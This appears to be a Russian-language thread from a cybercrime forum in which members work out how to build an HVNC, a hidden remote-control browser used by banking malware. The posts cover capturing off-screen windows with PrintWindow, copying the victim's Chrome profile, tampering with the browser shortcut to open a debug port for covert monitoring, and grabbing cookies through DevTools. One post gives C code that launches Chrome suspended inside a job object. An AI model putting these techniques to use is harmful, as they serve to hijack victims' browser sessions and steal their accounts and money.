• XSS.stack #1 – первый литературный журнал от юзеров форума

HVNC C#

ioioio777

Конвертирую ваши доступы в деньги.
Забанен
Регистрация
23.07.2021
Сообщения
144
Реакции
319
Гарант сделки
2
Депозит
0.0001
Пожалуйста, обратите внимание, что пользователь заблокирован
Всех приветствую, данным постом преследую две цели.
1) Найти решение своей проблемы при написании скриншота скрытого онка.
2) Проинформировать людей о таком способе реализации скрытого браузера.


Уверен, что для старичков эта схема не будет новой, однако я ни в коем случае не притендую на авторство (статья 2019 года, а сам метод датируется 2004ым?) + этот метод куда уж лучше реализации через CreateDesktop


Далее цитирую самого автора



Спустя 3 дня мозгоебки и перебирания множества способов отрисовки ... у меня не выходит ничего кроме черного экрана.
Максимальный из результатов - вот (и то, это нельзя считать успешным вариантом, так как это просто последний хендл, оставшийся в оперативной памяти)


Собственно вопрос заключается в этом: Как сделать скриншот MDI формы за областью экрана.
 
Последнее редактирование:
Решение
Как сделать скриншот MDI формы за областью экрана.
Printwindow по другому никак
P.S. Процесс скрытого запуска приложений и форм далее не рассматривается - это все можно нагуглить самим.
Кстати так просто его не скрыть, я пробовал вызывать ShowWindow после запуска процесса, нихрена нормально не получилось, окно промелькает. Хотя через один костыль у меня получилось норм его скрыть
Пожалуйста, обратите внимание, что пользователь заблокирован
Метод bitblt уже пробовал, результата не дало
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Как сделать скриншот MDI формы за областью экрана.
Printwindow по другому никак
P.S. Процесс скрытого запуска приложений и форм далее не рассматривается - это все можно нагуглить самим.
Кстати так просто его не скрыть, я пробовал вызывать ShowWindow после запуска процесса, нихрена нормально не получилось, окно промелькает. Хотя через один костыль у меня получилось норм его скрыть
 
Решение
Пожалуйста, обратите внимание, что пользователь заблокирован
Метод bitblt уже пробовал, результата не дало
Так а как ты его заблитишь, если винда рисует только видимые приложения, а твое скрытое приложение - невидимое
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Про PrintWindow было в книжке китаца какого-то написано хорошо, гляну - где-то лежала. По крайней мере я свой HVNC по ней делал
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Кому-нибудь попадолось опенсурсное решение кроме TinyNuke?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
я своего писал так же через printwindow на какогото х*я она через время chrome выводит на черный экран .
я чита гдето что с какими то библами винде если они сушествуют то таких экранов не бывают постараюсь найти ту тему!
 
Не всё так сладко с этим методом. Лиса (и некоторые другие приложения) работают корректно:
ff.png

Но на Chromium-based браузерах такая картина:
edge.png
И как это фиксить - неизвестно.
 
Если задача заключается в рисовке браузеров, можно воспользоваться Chrome Dev Tools, через эту технологию можно делать скриншоты, инжектить, грабить запросы и даже собирать куки. Примеры взаимодействия можно увидеть в репозитории puppeteer.
 
Если задача заключается в рисовке браузеров, можно воспользоваться Chrome Dev Tools, через эту технологию можно делать скриншоты, инжектить, грабить запросы и даже собирать куки. Примеры взаимодействия можно увидеть в репозитории puppeteer.
Да, в курсе об этом методе - с помощью девтулс можно много всего интересного запилить, от скрытого браузера до инжектов на уровне http/js. Интересно было проверить метод из темы. Насколько я понял - проблема в том что PrintWindow посылает WM_PRINT (или WM_PRINTCLIENT), но хромиум никак не хэндлит эти сообщения.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Насколько я понял - проблема в том что PrintWindow посылает WM_PRINT (или WM_PRINTCLIENT), но хромиум никак не хэндлит эти сообщения
PW_RENDERFULLCONTENT не?
 
PW_RENDERFULLCONTENT не?
Да, действительно. В самом хромиуме так же используется этот флаг:
Хром коррекно отрисовывается, но если создать новое окно (хром/лиса) за пределами видимости - скринится только созданное мной окно, без детей.

UPD: хотя если у окна альфу на 0 поставить - полёт нормальный, но нужно тестить.
 
Последнее редактирование:
Танцы с бубном продолжаются. Не понятно как получать уведомления о изменении отображения child-окна - пробовал с помощью SetWindowLongPtr(hChild, GWLP_WNDPROC, ...); устанавливать новый обработчик сообщений, но, как оказалось, нельзя изменить обработчик в другом процессе (хотя вроде через глобальный хук можно, но не стал тестить). Закостылил через создание отдельного потока, скрин и сравнение изменённых пикселей.
Просто так заспавнить новое окно chromium-based браузеров не выйдет - тк хром использует мультипроцессность - созданный нами процесс создаст child-процесс в уже запущенной группе процессов (если таковая имеется, нет - всё ок). Как вариант - создать процесс хрома с флагом CREATE_SUSPENDED, создать новую джобу, привязать созданный нами процесс к этой джобе, разморозить основной поток хрома и ловить создание child-процесса, его уже усыновлять нашему окну, но пока не тестил.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Просто так заспавнить новое окно chromium-based браузеров не выйдет - тк хром использует мультипроцессность - созданный нами процесс создаст child-процесс в уже запущенной группе процессов (если таковая имеется, нет - всё ок).
Вопрос в том, нужна тебе сессия пользователя или нет? Если нет, то ты скорее всего можешь создать новый профиль и запустить свою копию хрома с путем к этому профилю (там какой-то аргумент командной строки). Можно, конечно, еще попробовать скопировать профиль, но не факт, что это сработает.

Если да, то ты либо должен подождать, когда у пользователя будет закрыт браузер и открыть его в скрытом окне или на другом декстопе, но тогда, если пользователь решит запустить браузер, то вообще ничего не увидит, пока ты свое скрытое окно не закроешь. Либо ты можешь подменить линк для запуска хрома, добавив туда в командную строку включение дебаг порта, потом как пользователь запустит браузер уже через дебаг порт следить за ним или открывать скрытые вкладки (вроде бы это было возможно). Это сложно, нужно по вебсокетам по определенному JSON протоколу с дебаг портом общаться, но в целом это, наверное, лучшее решение сейчас.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
сессия насколько я знаю без проблем копируется, только нужно закрывать хендлы к открытым файлам если сессия активна
 
Вопрос в том, нужна тебе сессия пользователя или нет? Если нет, то ты скорее всего можешь создать новый профиль и запустить свою копию хрома с путем к этому профилю (там какой-то аргумент командной строки). Можно, конечно, еще попробовать скопировать профиль, но не факт, что это сработает.

Если да, то ты либо должен подождать, когда у пользователя будет закрыт браузер и открыть его в скрытом окне или на другом декстопе, но тогда, если пользователь решит запустить браузер, то вообще ничего не увидит, пока ты свое скрытое окно не закроешь. Либо ты можешь подменить линк для запуска хрома, добавив туда в командную строку включение дебаг порта, потом как пользователь запустит браузер уже через дебаг порт следить за ним или открывать скрытые вкладки (вроде бы это было возможно). Это сложно, нужно по вебсокетам по определенному JSON протоколу с дебаг портом общаться, но в целом это, наверное, лучшее решение сейчас.
Лично мне сессия пользователя не нужна, инетересен сам концепт хвнц на основе данного метода, но какое же это хвнц, если работа идёт с чистого профиля? Скопировать профиль не так сложно - нужно лишь что-то придумать с уже открытыми файлами (в тупую убить процесс/дублировать хэндл), и, возможно, подчистить lock-файлы (мб хром и с ними переварит, не тестил).
Не совсем понял про
если пользователь решит запустить браузер, то вообще ничего не увидит, пока ты свое скрытое окно не закроешь
Если не копировать профиль, а использовать профиль юзера напрямую, при запущенном браузере - откроется окно браузера, которым пользуется юзер.
Касательно дебаг-порта - можно сделать проще - запускать Screencast и ловить фреймы из сокета в нужном формате (jpeg/png). Но не уверен что этот способ будет корректно работать параллельно с юзером, хотя, по идее, проблем как при копировании профиля быть не должно. Возможно, это поддерживается и в headless-режиме.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не совсем понял про
При запуска браузера пользователем будет создаваться вкладка в браузере, который ты уже запустил в скрытом окне или на другом десктопе, а следовательно пользователь ничего не увидит.
 
Просто так заспавнить новое окно chromium-based браузеров не выйдет - тк хром использует мультипроцессность - созданный нами процесс создаст child-процесс в уже запущенной группе процессов (если таковая имеется, нет - всё ок). Как вариант - создать процесс хрома с флагом CREATE_SUSPENDED, создать новую джобу, привязать созданный нами процесс к этой джобе, разморозить основной поток хрома и ловить создание child-процесса, его уже усыновлять нашему окну, но пока не тестил.
В общем этот самый чилд-процесс говорит основному процессу хрома "открой новое окно" и завершается, как именно это происходит не суть важно - думаю, когда-то это и работало (оригинальная конкурсная статья 2017-18 года, если мне память не изменяет), но сейчас этот метод не актуален.
Мб кому пригодиться, создание чилд-процессов отлавливал так:
C:
struct QueueParams {
    HANDLE port;
    HANDLE job;
};

DWORD WINAPI TargetEventsThread(PVOID param) {
    QueueParams* params = (QueueParams*)param;
    DWORD event = 0;
    ULONG_PTR key = 0;
    LPOVERLAPPED ovl = NULL;
    BOOL status = TRUE;
    while (true) {
        status = GetQueuedCompletionStatus(params->port, &event, &key, &ovl, INFINITE);
        if (event == JOB_OBJECT_MSG_NEW_PROCESS) {
            JOBOBJECT_BASIC_PROCESS_ID_LIST proc_list[20] = {0};
            DWORD returned = 0;
            status = QueryInformationJobObject(params->job, JobObjectBasicProcessIdList, (LPVOID)&proc_list, sizeof(JOBOBJECT_BASIC_PROCESS_ID_LIST) * 20, &returned);
            for (DWORD i = 0; i < proc_list[0].NumberOfProcessIdsInList; i++) {
                wprintf(L"spawned child%d = %d\n", i, proc_list[0].ProcessIdList[i]);
            }
        }
        else if (event == JOB_OBJECT_MSG_ACTIVE_PROCESS_ZERO) {
            break;
        }
        else {
            wprintf(L"event = %d\n", event);
        }
    }
    return 0;
}

int main() {
    WCHAR path[MAX_PATH] = { 0 };
    lstrcpyW(path, L"chrome.exe --new-window");

    STARTUPINFO info = {0};
    info.cb = sizeof(info);
    PROCESS_INFORMATION processInfo = { 0 };
   
    BOOL status = CreateProcessW(NULL, path, NULL, NULL, TRUE, CREATE_SUSPENDED | NORMAL_PRIORITY_CLASS, NULL, NULL, &info, &processInfo);

    HANDLE job_port = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);
    HANDLE hJob = CreateJobObjectW(NULL, NULL);

    QueueParams params = { 0 };
    params.port = job_port;
    params.job = hJob;
    HANDLE h_thread = CreateThread(NULL, 0, TargetEventsThread, (LPVOID)&params, NULL, NULL);
    status = AssignProcessToJobObject(hJob, processInfo.hProcess);

    JOBOBJECT_ASSOCIATE_COMPLETION_PORT job_assoc = { 0 };
    job_assoc.CompletionKey = 0;
    job_assoc.CompletionPort = job_port;
    status = SetInformationJobObject(hJob, JobObjectAssociateCompletionPortInformation, (LPVOID)&job_assoc, sizeof(JOBOBJECT_ASSOCIATE_COMPLETION_PORT));

    ResumeThread(processInfo.hThread);
    WaitForSingleObject(h_thread, INFINITE);
    CloseHandle(processInfo.hProcess);
    CloseHandle(processInfo.hThread);
}

UPD: выше написан бред и говнокод, всё работает
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх